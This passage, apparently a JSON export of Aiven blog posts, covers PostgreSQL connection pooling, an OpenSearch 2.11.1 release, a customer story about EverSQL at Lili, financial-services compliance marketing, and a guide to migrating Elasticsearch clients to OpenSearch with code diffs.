database:\n\nTerminal #1:\n\n```\nmypool=\u003e SELECT 1;\n?column?\n──────────\n        1\n(1 row)\n```\n\nTerminal #2:\n\n```\nmypool=\u003e SELECT 1;\n?column?\n──────────\n        1\n(1 row)\n```\n\nBoth connections respond as they should. Now let's check how many connections there are to the PostgreSQL backend  database:\n\nTerminal #1:\n\n```\nmypool=\u003e SELECT COUNT(*) FROM pg_stat_activity WHERE usename = 'avnadmin';\n count\n-------\n     1\n(1 row)\n```\n\nAnd as we can see from the pg_stat_activity output the two psql sessions use the same PostgreSQL server database connection.\n\n### Summary\n\nThe more client connections you have to your database, the more useful connection pooling becomes. Aiven PostgreSQL makes using connection pooling an easy task and migrating from non-pooled connections to pooled connections is just a matter of gradually changing your client-side connection database name and port number!\n\n### Try PostgreSQL 9.6 for free in Aiven\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n## Further Reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-12-21T10:42:00.003Z","seo":{"metaDescription":"Find out how to keep server resource usage low in spite of insanely large numbers of connections to your PostgreSQL database with connection pooling.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® connection pooling"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-connection-pooling"},"subtitle":"Find out how to keep server resource usage low in spite of insanely large numbers of connections to your PostgreSQL database with connection pooling.","title":"Aiven for PostgreSQL® connection pooling"}
{"__i18n_lang":"en","_createdAt":"2023-12-20T15:30:34Z","_id":"825d9e73-30e9-482b-bb5d-ef0fc6dfbaf7","_rev":"7qeFKv67V7UXtPEzbkXOgu","_type":"post","_updatedAt":"2024-01-19T14:45:10Z","authors":[{"_key":"a07fe28f8f80","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"As 2023 draws to a close, we're pleased to announce that Aiven for Opensearch® is now running on OpenSearch® 2.11.1. Since our previous release was running version 2.8.0, there's way more new under the hood than could be reasonably condensed into a single blog post. With that in mind, I've captured some of the most notable highlights below, but be sure to check out the [OpenSearch release notes](https://opensearch.org/docs/latest/version-history/) for a full accounting of what's been added in the last few releases.\n\n## Machine learning, neural search, and vectors. Oh my!\n\nThere are a ton of machine learning and vector search updates made available in this release. For starters, the [machine learning (ML) framework](https://opensearch.org/docs/latest/ml-commons-plugin/using-ml-models/) is now generally available, with a variety of [pre-trained models](https://opensearch.org/docs/latest/ml-commons-plugin/pretrained-models/) available. Models hosted on third-party platforms can also be integrated via connectors. OpenSearch provides a variety of connector blueprints for several popular AI platforms, or you can create a blueprint of your own to integrate a different platform.\n\nWhen it comes to putting those platforms to work, [neural search](https://opensearch.org/docs/latest/search-plugins/neural-search/) processes ingested documents  by passing them through a user-defined ML model to generate vector embeddings which are indexed alongside the source text. Once an ML model has been set up, there are a variety of search methodologies that can be applied for neural search:\n\n\n* [Semantic search](https://opensearch.org/docs/latest/search-plugins/semantic-search/)\n* [Hybrid search](https://opensearch.org/docs/latest/search-plugins/hybrid-search/)\n* [Multimodal search](https://opensearch.org/docs/latest/search-plugins/multimodal-search/)\n* [Sparse search](https://opensearch.org/docs/latest/search-plugins/neural-sparse-search/)\n* [Conversational search](https://opensearch.org/docs/latest/search-plugins/conversational-search/) (experimental)\n\n## Search pipelines are generally available\n\n[Search pipelines](https://opensearch.org/docs/latest/search-plugins/search-pipelines/index/) allow you to customize your searches by chaining together a series of modular processors to modify a query, its results, or both. A search pipeline can perform tasks like personalizing search results or automatically applying a predefined set of query filters, which would otherwise need to be handled within your application code. Previously available only as an experimental feature, pipelines are now generally available and ready to simplify your apps.\n\n## Integrated alerts and anomaly detection in OpenSearch Dashboards\n\nThe Anomaly Detection and Alerting plugins are invaluable tools for getting insight into potential issues impacting your users. However, historically it's been difficult to correlate the data they provide with existing dashboards and visualizations. \n\nIn this release, new [monitors](https://opensearch.org/docs/latest/observing-your-data/alerting/dashboards-alerting/) and [detectors](https://opensearch.org/docs/latest/observing-your-data/ad/dashboards-anomaly-detection/) can be created directly from OpenSearch Dashboards, and can additionally overlay triggered alerts and anomalies over their associated visualizations. Existing monitors and detectors can be associated with visualizations in similar fashion. The end result is a single view that combines your visualizations with related alerts and anomalies, making it easier than ever to diagnose issues and contextualize them with relevant metric visualizations. \n\n## Side-by-side search query comparison\n\nThe relevance of a given search result can depend on the context in which a particular query is evaluated. With varying field weights, document parsing strategies, or ML models, ostensibly similar queries can produce significantly different results.\n\nThis release brings the [search comparison tool](https://opensearch.org/docs/latest/search-plugins/search-relevance/compare-search-results/) to general availability, which provides a side by side comparison of two different search queries in OpenSearch Dashboards. This makes it easier than ever to compare the results, rankings, and relevance of different query strategies without having to change contexts or juggle multiple windows.\n\n## Upgrade your clusters today\n\nTo reiterate, this is all just the tip of the iceberg – for a full list of changes and updates, be sure to check out the [OpenSearch release notes](https://opensearch.org/docs/latest/version-history/). \n\nTo get started today, you can perform a maintenance upgrade on your OpenSearch clusters from the [Aiven console](https://console.aiven.io/). Happy searching!\n\n*Note: An earlier version of this post referred to custom local model support, which is not yet available on Aiven for OpenSearch®. Stay tuned for updates to ML Commons functionality*\n","categories":[{"_key":"8afdbc7564fb","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"06623c817aa0","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-62add3ece79cac95be25945d77ef73fb7f1a0522-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-20T15:16:56.738Z","related":[{"_key":"3e2b67542490","_ref":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_type":"reference"},{"_key":"45f2e41d24b5","_ref":"a079f3cf-69be-4348-b899-ad2f79d55791","_type":"reference"},{"_key":"6215f726772c","_ref":"f29128d2-91e5-45f0-8e91-159edef4b7a0","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-updated-to-version-2111"},"subtitle":"Aiven for Opensearch® is running OpenSearch® 2.11.1, bringing new AI capabilities, visual overhauls, and much more. Check out what's new and upgrade today.","title":"Aiven for OpenSearch® updated to version 2.11.1"}
{"__i18n_lang":"en","_createdAt":"2024-02-20T10:11:02Z","_id":"281f464e-64e7-4369-af86-c95bf5fe7e36","_rev":"ie5WJlLr1SLUBaBgCqZOr2","_type":"post","_updatedAt":"2024-02-21T09:59:18Z","authors":[{"_key":"647166a2a4be","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"For time-strapped small-business owners who often lack financial experience, banking and accounting are often fragmented and frustrating experiences. That’s why [Lili](https://lili.co/), one single platform for your business finances, was created in 2019. Liran Zelkha, Co-Founder and CTO, and Lilac Bar David, Co-Founder and CEO, together established Lili as the first to offer US customers banking, accounting and tax software on one platform. This allows small business owners to independently handle their own bookkeeping without the help of an accountant, and generate profit and loss statements, cash flow statements, expense reports, invoices and tax preparation with just a click of a button.\n\nZelkha has more than 20 years in the tech industry, which includes periods working as a freelancer, entrepreneur and as CTO and VP for Research and Development at Pepper, the first challenger bank in his native Israel. That provided a wealth of personal experience to draw on when developing the platform. \n\n“We’ve built a platform that enables you to manage your business banking, accounting, invoicing, and tax preparation in one place. This gives the clarity you need as a business owner. Whatever your business goals are, we won’t stop until we help you get there,” Zelkha explains.\n\n## Pre-empting and preventing potential problems\n\nZelkha understands firsthand the needs of his development team. He strives to create an environment where the team can do its best work, and to do so efficiently — to keep Lili’s customers’ banking fees as low as possible. \n\nFor Zelkha that means using [EverSQL by Aiven](https://www.eversql.com/), the database optimization software that Aiven acquired in 2023. Powered by AI, EverSQL automatically rewrites and indexes PostgreSQL® and MySQL® queries and helps development teams accelerate their databases. \n\n![Image with a blue background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote \"“We were using MySQL right from the start, and I knew we were going to face performance issues. We were experiencing fast growth so I needed to pre-empt any problems. We looked around and saw that EverSQL was a great solution for us,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/e3d06efd3503cba49104cbcd4901d852083c6e8a-1200x628.png)\n\n“We were using MySQL right from the start, and I knew we were going to face performance issues. We were experiencing fast growth so I needed to pre-empt any problems. We looked around and saw that EverSQL was a great solution for us,” Zelkha says.\n\n## High standards of performance for demanding customers\n\nLili’s entire environment and database runs on AWS. The customer-facing part of the application enables business owners to check their bank balance and view transactions in the accounting component. Performance is naturally important — customers want that information immediately, and it’s what distinguishes platforms like Lili from more traditional players. So although the application mostly serves read-only use cases for customers, to ensure they have the best possible user experience, the application needs to load, aggregate and analyze huge amounts of data upon login.\n\nThe other aspect of the application handles actions like authorizing and authenticating credit-card transactions. Every swipe of a card and every mobile payment sends a notification to the Lili database. As a result, the database is very large but having a very short response time is still essential. \n\n“If a customer uses their card, our server needs to save the swipe, and then approve or not approve the transaction. If that action takes an additional 200 milliseconds, it means the customer is standing in line for an additional 200 milliseconds. It doesn’t sound like much, but people feel it. They feel the card is slower than other cards. We are just not willing to accept that level of service,” Zelkha says.  \n\n## Optimizing the database with the help of AI\n\nIt means that Lili is dependent on its very large database running optimally at all times. “The way our customers, our application and our database work mean we need something to monitor our performance and to prevent problems before they arise,” Zelkha says. “EverSQL by Aiven automatically identifies and helps optimize SQL performance issues, so they don’t become performance problems.” \n\nAs part of the development process, anyone at Lili who writes complicated queries passes it through EverSQL to make sure those queries are optimized before being deployed to production. Zelkha leverages the EverSQL performance insight dashboard to retrieve detailed information about any service performance degradations and uses the automatic recommendations to address them.\n\nThe fact that his team can write queries and don't need to spend time on optimization is a real bonus. “They can just drop a query into the UI and get recommendations. And if there are still problems, they go to the data team or to me. But in 95% of the time, they are totally independent,” says Zelkha. “EverSQL by Aiven makes it easier for the developers. It speeds up their work. It’s a win-win relationship for them. They see the value — they love it.”\n\n![Image with a orange background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote “EverSQL by Aiven makes it easier for the developers. It speeds up their work. It’s a win-win relationship for them. They see the value — they love it.”,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/306f2a79c871a7e5735a4726ed4dc2eadb4658e9-1200x628.png)\n\nNotably, there is a key team member absent from the Lili set-up — the database administrator. \n“EverSQL by Aiven saved us the need of hiring a DBA”, saya Zelkha. “A DBA’s role is to see problems and to fix them, it’s not to avoid problems in the first place. But with EverSQL by Aiven, our developers take ownership of their SQL queries and optimize them so we save ourselves a lot of issues.” \n\n## Future ambitions and a good night’s sleep\n\nFor a company of Lili’s size and potential, not to mention its significant growth rate, being able to say that there is no need to worry about the optimization aspect of your architecture is an incredibly powerful statement. “We’re ambitious. We want more customers — and we’ll need to store more data as we do that. So our database size and our use of EverSQL by Aiven will continue to increase as well.”\n\n![Image with a blue background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote ““We love EverSQL by Aiven. I love to recommend it. And I love that it gives me a good night’s sleep.”,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628.png)\n\nAs for Zelkha himself, the best feature of EverSQL is the reduced stress. “We love EverSQL by Aiven. I love to recommend it. And I love that it gives me a good night’s sleep.”\n","categories":[{"_key":"88a55d28bb3a","_ref":"82a49fe5-7ab8-447c-8851-470b8f740277","_type":"reference"},{"_key":"d3189aa82878","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"359acc815826","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"156755b03ade","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"eec1d50b-f1b0-479d-aa1c-e716089cb005","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"White writing on an orange background that reads \"Better Business Banking: How Aiven Helps Lili to Expand and Keep Impressing Customers\" and a white \"EverSQL by Aiven logo in the bottom left hand corner","asset":{"_ref":"image-9c639e660d2dcc8a08781a30c097995514775c12-1200x628-png","_type":"reference"}},"publishedAt":"2024-02-20T14:02:53.922Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9c639e660d2dcc8a08781a30c097995514775c12-1200x628-png","_type":"reference"}},"metaTitle":"EverSQL by Aiven accelerates PostgreSQL® and MySQL® for Lili"},"slug":{"_type":"slug","current":"/blog/better-business-banking-how-aiven-helps-lili-to-expand"},"subtitle":"EverSQL by Aiven enables fast-growing Lili to optimize databases, pre-empting performance issues and saving valuable developer time","title":"Better Business Banking: How Aiven Helps Lili to Expand and Keep Impressing Customers"}
{"__i18n_lang":"en","_createdAt":"2024-04-05T00:49:58Z","_id":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_rev":"tXj82aAr3VYUsa9AwkgD9e","_type":"post","_updatedAt":"2024-08-23T00:36:54Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"With compliance and risk management regulations set to tighten globally, many financial services organisations are working extremely hard to identify and close gaps in their existing risk management and compliance strategies.  What’s more, finding previously unidentified gaps or vulnerabilities is becoming increasingly common, especially when assessing existing frameworks against these new industry requirements. \n\nAt Aiven we talk with financial services customers every day about **organisational risk and compliance and the ways that technology can help address and close these gaps**.  With APRA’s operational resilience framework comprised of CPS 230 \u0026 234 coming into effect in Australia and other Basel 3.1 aligned frameworks within Asia Pacific, Europe, the UK, and the United States, it’s clear that many FSI organisations are facing similar challenges.\n\n\u003e Two of the biggest areas of vulnerability for financial services organisations right now are: running outdated or unsupported software, and single supplier failure or vendor lock-in. \n\n## A lens on regulation changes and challenges in APAC\n\nA myriad of global changes are impacting the financial services industry (FSI), including increased geopolitical tension, economic turmoil, consumer demand, ESG considerations and reporting, the rise of digital assets, and the accelerating digitalisation of finance, not to mention growing complexities of financial crime and operational resilience.\n\nIt’s no surprise then, that **governments are taking an active role in trying to increase resilience.** As one example, in Australia, CPS 230 \u0026 234, scheduled to take effect from 1 July 2025, will apply to all Australian Prudential Regulation Authority (APRA) regulated entities in banking, insurance, and superannuation, introducing new requirements for operational risk management, service provider risk management, and business continuity planning. As such, APRA-regulated entities must prepare to implement substantial changes to their governance structures, compliance protocols, contractual frameworks, and incident response mechanisms to meet changing demands.\n\nTo pave the way for future growth and navigate an increasingly intricate regulatory landscape, **firms must strategically invest in technology solutions that support governance, risk, and compliance - understanding their biggest pitfalls and areas of opportunity.** Leveraging solutions and powerful vendor partnerships will go a long way in the management of regulatory obligations, reporting requirements, and internal policies and procedures.\n\n## Misconception #1: Running outdated or unsupported software isn’t a big deal\n\n\u003e A recurring pain point we hear all the time with FSI organisations is running outdated software systems. A surprising number of businesses are running outdated software even now, and for a variety of seemingly valid reasons. \n\nFor instance, an IT lead may have lapsed on updates to reduce downtime and resigned from an organisations before rectifying the situation, or an organisation may have invested in software that reached its end of life and now have neither the time nor resources to either change or update the software. \n\nWe know **unsupported software leads to several issues, such as compatibility issues or a breach of security policies, and that updates are heavily encouraged to remove this risk.** However, updates often require outages and a significant depth of knowledge, which can too easily be touted as valid rationale to postpone them. Organisations are more likely to run the risk of outdated software rather than inconveniencing their customers with a potential downtime period.\n\nThis issue not only creates operational hurdles but also has significant reputational and compliance consequences, especially as regulations become stricter. Under the new regulations, actions like this would be a breach, especially around technology refresh management. **An unpatched system is an insecure system, which fails to meet regulatory requirements for Information Security.** We also know that with the right vendor and technology partner, downtime doesn’t have to be a given and can be greatly minimised or removed entirely.\n\n## Misconception #2: Vendor lock-in and single supplier failure won’t happen to me\n\n\u003e One of the requirements for regulatory compliance is for organisations to protect themselves against single-supplier failure. Whether storing critical, business-critical, or any consumer data, financial institutions must have more than one copy of data in different locations, that can easily move in and out of supplier arrangements.\n\nIf an organisation is locked into a single-supplier arrangement, it becomes harder to leave and costs can increase.\n\nThere are various reasons why an FSI may end up in a vendor lock-in. In some cases, FSIs will try to lessen the number of vendors they engage with to reduce complexity, specialized skills requirements, negotiating time for multiple contracts and not act as a system integrator. But it’s a double-edged sword as by putting all your eggs in one basket, you open yourself up to risk as well. This can be not just from a region going offline, but also from losing pricing leverage, the ability to make a deal, and once you are locked in, the cost to move can far outweigh the benefit of doing so. \n\n**As regulations change, this is further incentive to choose technologies that aren’t vendor specific**, that are easy to resource, and ensuring the resourcing for technologies also isn’t coming from single providers. Open-source software presents a compelling argument for both operational efficiencies and to protect against vendor lock-in, so data can flow freely and ensure compliance requirements are adhered to.\n\nWe’ve found when **FSI organisations are not using open-source software it’s generally because they don’t have a defined support path or have fears around security and updates**. However, with the right vendor, open-source can be a powerful ally in staying up to date with compliance needs, and offering greater support to improve business outcomes.\n\nAs an example, the **Aiven** [managed platform](https://aiven.io/platform) leverages open-source technologies and **takes care of automated maintenance and updates on a weekly basis, so organisations are always running supported and up-to-date software**. For major updates, depending on the product and the open-source project, Aiven highlights to customers when version End of Life (EoL) is approaching, and supports an upgrade process which is automated and well-proven. Near-zero-downtime upgrades for your open-source software are now a reality with Aiven.\n\nOn top of this, **when it comes to single supplier failure, Aiven steps into these supplier arrangements to run across multiple clouds – in line with financial regulations** – so organisations can easily migrate data between their service providers, be that AWS, Google, MS Azure, Oracle, or others, in a matter of minutes. In these circumstances, Aiven becomes a supplier as well, but being open -source, Aiven’s arrangements are simplified and transparent.\n\n## Top tier management solutions for a changing regulatory world\n\nAiven’s cloud-agnostic, unified platform provides best-in-class open-source solutions to address operational and compliance needs to help FSIs stay focused on delivering business value. [IDC’s recent report ](https://aiven.io/whitepaper/the-business-value-of-aiven-data-cloud-solutions)highlights how open-source through Aiven enables a move away from building and maintaining on-premises infrastructure, thereby avoiding the human resource and competency costs that organisations otherwise had to absorb, and ensuring productivity and risk mitigation benefits.\n\nOverall, IDC found that Aiven customers achieved strong ROI value by ensuring more efficient and effective use of data-related solutions core to their business operations:\n\n* 37% lower three-year cost of operations\n* 81% faster to create and deploy a new database\n* 29% more efficient IT infrastructure and security teams.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e-500x300.png)\n\nUsing Aiven, organisations also were able to boost their net revenue per year, while also managing tightening restrictions and compliance regulations with embedded and automated data management. \n\n[Get in touch with Aiven](https://aiven.io/book-demo) to see how you can maximise your tech spend.","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844-png","_type":"reference"}},"publishedAt":"2024-04-05T00:44:50.610Z","related":[{"_key":"83486f4c6d7a","_ref":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_type":"reference"},{"_key":"3f94b24b57c1","_ref":"96b49d13-c145-4582-bb49-71ec502a7f36","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how financial services firms navigate tightening regulations with technology. Learn about common misconceptions and key compliance challenges.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844-png","_type":"reference"}},"metaTitle":"Navigating regulations with technology in Financial Services"},"slug":{"_type":"slug","current":"/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten"},"subtitle":"With Basel 3.1 aligned frameworks, governments worldwide are increasingly emphasising the need for financial institutions to maintain operational continuity.","title":"The Top Two Misconceptions as FSI Compliance Requirements Tighten"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"ABeD3aNbvwjtqXaZk6hiP","_rev":"VeNKqGNmt13PzvGhqsSPGc","_type":"post","_updatedAt":"2024-01-29T15:41:40Z","authors":[{"_key":"4u9AY0PiaCCkrz1PHfwCfy","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"\u003e **Note** On 2022-08-23, Aiven will complete its migration away from Elasticsearch, and migration between Aiven services will no longer be necessary. See [Aiven finishes the transition away from Elasticsearch: technical details](https://aiven.io/blog/finish-move-away-from-elasticsearch) for more information.\n\n## How to migrate your Elasticsearch client to using OpenSearch®\n\nWe are replacing Elasticsearch with the open source fork of the project, OpenSearch. In this article, we will show you how to upgrade the client code in your application to make the switch.\n\nWhen we think about database migration, we normally think about migrating the data itself. However, you have to consider migrating your client, and especially which version is being used. \n\nYou can check our related articles about Elasticsearch to OpenSearch migration: \n\n- [Upgrade Elasticsearch clients to OpenSearch, if you are migrating within Aiven](https://aiven.io/docs/products/opensearch/howto/upgrade-clients-to-opensearch.html)\n- [General tips in how to work with your OpenSearch cluster](https://aiven.io/docs/products/opensearch/howto.html)\n- [Migrate Elasticsearch data to Aiven for OpenSearch, if you are migrating an external database to Aiven](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven.html)\n\nIn this article, we will briefly explain the database migration process, and how to perform your client migration.\n\n### Database migration from Elasticsearch to OpenSearch\n\nIn terms of database migration, Aiven's client can perform the upgrade without any downtime. You can find all the steps needed to perform your migration on [Aiven's devportal](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven). Note that upgrading from Elasticsearch to OpenSearch will also upgrade Kibana to OpenSearch Dashboards. If you are already using Aiven, we recommend you do the upgrade soon as the end of life is due to be on March 23. After this date, Aiven's services related to Elasticsearch will be upgraded automatically to OpenSearch.\n\n### Client migration from Elasticsearch to OpenSearch\n\nMigrating a native Elasticsearch client to OpenSearch requires changes in the client code so that you can continue to interact with your cluster. Are you curious how this can be done? Here we will go over client migration in three languages: Python, Java, and JavaScript (Node.js).\n\nBefore diving into the code, there is one thing you should keep in mind. According to [OpenSearch docs](https://opensearch.org/docs/latest/clients/index/#legacy-clients), Elasticsearch clients for v7.10.2 should work in terms of compatibility with OpenSearch client v1. However, the latest version of Elasticsearch clients may contain checks that can break compatibility. Here are the recommendations regarding the Elasticsearch client version that you should have to migrate to OpenSearch v1.0.0.\n\n| Client                                                                                                                                           | Recommended version       |\n| ------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------- |\n| [Java low-level REST client](https://search.maven.org/artifact/org.elasticsearch.client/elasticsearch-rest-client/7.13.4/jar)                    | 7.13.4                    |\n| [Java high-level REST client](https://search.maven.org/artifact/org.elasticsearch.client/elasticsearch-rest-high-level-client/7.13.4/jar)        | 7.13.4                    |\n| [Python](https://pypi.org/project/elasticsearch/7.13.4/)                                                                                         | 7.13.4                    |\n| [NodeJS](https://www.npmjs.com/package/@elastic/elasticsearch/v/7.13.0)                                                                          | 7.13.0                    |\n\nCheck the full table on the [OpenSearch page](https://opensearch.org/docs/latest/clients/index/#legacy-clients).\n\nAs you can see, it is recommended that first, you upgrade or downgrade your Elasticsearch to match v7.13.4 or v7.13.0, check if is still running correctly, then migrate to the compatible OpenSearch version v1.0.0. Finally, you can upgrade to the latest OpenSearch version that contains additional features and bug fixes. Doing this will help you correct API incompatibilities that may appear during your client migration process.\n\nSo let's check how those changes are done code-wise.\n\n### Python\n\nFor Pythonists, the changes needed in their Python client are regarding the library in use, and how their Python client objects are called. Here we are considering the official Python client libraries for [Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/client/python-api/current/index.html) and [OpenSearch](https://opensearch.org/docs/latest/clients/python/).\n\nWith a few steps, you can replace your Elasticsearch client with the OpenSearch one.\n\nIn the dependencies, change libraries and versions:\n\n```diff\n- elasticsearch==7.10.2\n+ opensearch-py==1.0.0\n```\n\nIn the source code, change the imports:\n\n```diff\n- from elasticsearch import Elasticsearch\n+ from opensearchpy import OpenSearch\n```\n\nand the client:\n\n```diff\n- client_against_opensearch = Elasticsearch(ES_SERVICE_URI, use_ssl=True)\n+ client_against_opensearch = OpenSearch(OS_SERVICE_URI, use_ssl=True)\n```\n\nThe good news is that you can reuse the same APIs as the Elasticsearch ones in your OpenSearch client. Take a look at the full example on our [OpenSearch migration repository](https://github.com/aiven/opensearch-migration-examples/tree/main/python-client-migration). \n\nIf you want to know more about the Python OpenSearch client and its compatibility, feel free to explore those resources:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [Python Client](https://opensearch.org/docs/latest/clients/python)\n- [Python, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/python-client-migration)\n\n### Java\n\nGood news for Java client users, minimal changes are needed when you are migrating to OpenSearch. You only need to install the new dependencies and change your imports. Here you can find the changes related to imports:\n\n```diff\n- implementation 'org.elasticsearch.client:elasticsearch-rest-client:7.10.2'\n- implementation 'org.elasticsearch.client:elasticsearch-rest-high-level-client:7.10.2'\n+ implementation 'org.opensearch.client:opensearch-rest-client:1.1.0'\n+ implementation 'org.opensearch.client:opensearch-rest-high-level-client:1.1.0'\n```\n\nIn your Java client, the changes look like this:\n\n```diff\n- private static final String CLIENT_LIBRARY = \"org.elasticsearch.client:elasticsearch-rest-client:7.10.2\";\n+ private static final String CLIENT_LIBRARY = \"org.opensearch.client:opensearch-rest-client:1.1.0\";\n\n```\nBy changing the imports, you should be able to use your OpenSearch client with the same APIs as the Elasticsearch ones. \n\nFind out more about OpenSearch Java client, including a full running example of OpenSearch client migration on the links below:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [Java High Level Client](https://opensearch.org/docs/latest/clients/java-rest-high-level/)\n- [Java, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/java-client-migration)\n\n### JavaScript (Node.js/NodeJS)\n\nClient migration in JavaScript is pretty straightforward, you only need to install the new dependency and change the `require` statement.\n\nThe dependencies can be installed with npm as follows:\n\n```\n$ npm install --save @opensearch-project/opensearch\n```\n\nYou can find in this sample the client change for the NodeJS client:\n\n```diff\n- const { Client } = require('@elastic/elasticsearch');\n+ const { Client } = require('@opensearch-project/opensearch');\n```\n\nYou should be able to reuse the APIs once the imports are set correctly.\n\nCheck more resources for OpenSearch migration with NodeJS client:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [NodeJS Client](https://opensearch.org/docs/latest/clients/javascript/)\n- [NodeJS, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/node-client-migration)\n\n### Next steps\n\nWith the recent changes in Elasticsearch policies, many users are looking for ways to migrate to alternatives like OpenSource. Being a direct fork of Elasticsearch v7, OpenSearch is very compatible with Elasticsearch. Aiven offers an easy way to perform an upgrade from [the Aiven console](https://aiven.io/docs/products/opensearch/howto/upgrade-to-opensearch.html#upgrade-from-elasticsearch-to-opensearch) with a click of a button.  While this might seem straightforward, it involves a change in the client regarding the library and APIs used. This article walks you through the process that you need to do to guarantee a successful migration of your data.\n\nBeing open source, the OpenSearch project welcomes everyone to contribute to it by adding new features and helping to maintain them. We all know that open source is for everyone, but at Aiven we take the responsibility to contribute back to such projects. Aiven is actively contributing to the OpenSearch project via our [Open Source Program Office](https://aiven.io/open-source).\n\nThe examples in this article are part of the OSS project for [OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples), feel free to make a fork and add more examples in your favorite languages. It is a nice way to share your knowledge with the OpenSearch and Elasticsearch communities.\n\n_Elasticsearch is a trademark of Elasticsearch B.V., registered in the U.S. and in other countries._","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-01T00:00:00.000Z","seo":{"metaDescription":"Leaving ES to stay open source? Data migration all planned? Now learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.","metaImage":{"alt":"","asset":{"_ref":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_type":"reference"}},"metaTitle":"Migrate your Elasticsearch client to 